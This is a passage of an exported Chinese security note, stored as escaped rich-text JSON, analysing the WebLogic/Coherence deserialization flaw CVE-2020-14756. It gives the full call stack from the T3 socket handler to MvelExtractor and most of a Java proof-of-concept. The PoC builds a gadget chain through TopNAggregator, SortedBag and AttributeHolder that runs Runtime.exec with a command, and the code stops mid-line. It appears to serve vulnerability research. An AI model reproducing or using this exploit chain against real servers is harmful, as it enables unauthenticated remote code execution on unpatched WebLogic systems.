nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gEMR-1675927262799&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;对于MvelExtractor来说触发extract即是执行MVEL表达式计算，执行任意代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B5OC-1675927262090&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5774/WEBRESOURCE43573c31a80e9f4eedc178575b62c38d&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5774/WEBRESOURCE43573c31a80e9f4eedc178575b62c38d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dlH0-1675758504250&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3j1Z-1675758504249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BgIT-1675927351121&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MT6s-1675927351052&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PsNS-1675927351051&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;extract:95, MvelExtractor (com.tangosol.coherence.rest.util.extractor)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H6mJ-1675927351054&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c5Vg-1675927351053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;compare:143, AbstractExtractor (com.tangosol.util.extractor)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M8Z4-1675927351056&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C2Cm-1675927351055&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;compare:416, SortedBag$WrapperComparator (com.tangosol.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ytPt-1675927351058&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FQRZ-1675927351057&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;compare:1295, TreeMap (java.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bYZn-1675927351060&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QA38-1675927351059&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;put:538, TreeMap (java.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e9hC-1675927351062&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zrme-1675927351061&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;add:152, SortedBag (com.tangosol.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SKSL-1675927351064&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eavd-1675927351063&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8C0x-1675927351066&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d7Vq-1675927351065&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gc77-1675927351068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZW2P-1675927351067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m51G-1675927351070&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6kQA-1675927351069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kEzY-1675927351072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X0pa-1675927351071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:2606, ExternalizableHelper (com.tangosol.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;erVL-1675927351074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sCmB-1675927351073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:2583, ExternalizableHelper (com.tangosol.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EHCc-1675927351076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VBR7-1675927351075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qZZa-1675927351078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ry5A-1675927351077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iS7I-1675927351081&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pxiv-1675927351079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternalData:2062, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;156W-1675927351083&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4gcm-1675927351082&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2011, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bk47-1675927351085&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RrOa-1675927351084&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e1v4-1675927351087&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jyfG-1675927351086&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:422, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sWq1-1675927351089&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1rB0-1675927351088&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:73, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q54W-1675927351091&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dHjY-1675927351090&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:45, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c8kQ-1675927351093&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mD4V-1675927351092&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j12b-1675927351095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MXq3-1675927351094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:219, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UGoK-1675927351097&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;28AB-1675927351096&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZBBg-1675927351099&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WJWF-1675927351098&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g6QJ-1675927351102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fgfa-1675927351101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xl1d-1675927351104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1pHT-1675927351103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:993, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jCla-1675927351106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0FjB-1675927351105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:929, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fa52-1675927351108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rhcA-1675927351107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;process:599, NIOSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;COHU-1675927351110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gQPI-1675927351109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:563, NIOSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lQHF-1675927351112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pSmT-1675927351111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:30, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mzFz-1675927351114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b5MK-1675927351113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:43, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kO0v-1675927351116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MXaY-1675927351115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:147, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TMkY-1675927351118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OI72-1675927351117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:119, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JUU5-1675927351120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jPxt-1675927351119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;swift&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RqeX-1675927339259&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;apT8-1675927339256&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考Y4er师傅&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;pZdA-1675927422172&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ey5t-1675927422171&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;underline&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#0366d6&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9J1F-1675927422176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ankX-1675927397787&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c6yi-1675927397709&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9lwu-1675927397708&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.coherence.rest.util.extractor.MvelExtractor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SGV7-1675927397711&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hM5F-1675927397710&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.coherence.servlet.AttributeHolder;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bMbX-1675927397713&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NyKh-1675927397712&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.SortedBag;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hbf8-1675927397715&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g2r5-1675927397714&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.util.aggregator.TopNAggregator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rjS7-1675927397717&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DQRk-1675927397716&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TqAl-1675927397719&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HWJt-1675927397718&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ByteArrayOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SbYS-1675927397721&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fw6d-1675927397720&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ObjectOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2Pxq-1675927397723&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PXwP-1675927397722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FzFF-1675927397725&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BM3k-1675927397724&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Method;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NbG6-1675927397727&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WlBc-1675927397726&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S9dI-1675927397729&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0z0A-1675927397728&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2r5G-1675927397732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yF9c-1675927397731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2020_14756 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HyAt-1675927397734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1IRf-1675927397733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QIXb-1675927397736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YLxK-1675927397735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        MvelExtractor extractor = new MvelExtractor(\&#34;java.lang.Runtime.getRuntime().exec(\\\&#34;touch /tmp/123.txt\\\&#34;);\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LYGa-1675927397738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ezov-1675927397737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        MvelExtractor extractor2 = new MvelExtractor(\&#34;\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uWIF-1675927397740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MogX-1675927397739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P0ib-1675927397742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EILv-1675927397741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1h0z-1675927397744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a2Hn-1675927397743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J0TW-1675927397746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;foiI-1675927397745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            AttributeHolder attributeHolder = new AttributeHolder();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LMKb-1675927397748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9lSE-1675927397747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sortedBag.add(1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QClR-1675927397750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XXkA-1675927397749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KQgj-1675927397752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3KMf-1675927397751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField(\&#34;m_comparator\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1F3h-1675927397754&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IYqp-1675927397753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            m_comparator.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6uOZ-1675927397756&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nTvW-1675927397755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            m_comparator.set(sortedBag, extractor);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D00R-1675927397758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QUEo-1675927397757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kg3d-1675927397760&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l0wI-1675927397759&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            Method setInternalValue = attributeHolder.getClass().getDeclaredMethod(\&#34;setInternalValue\&#34;, 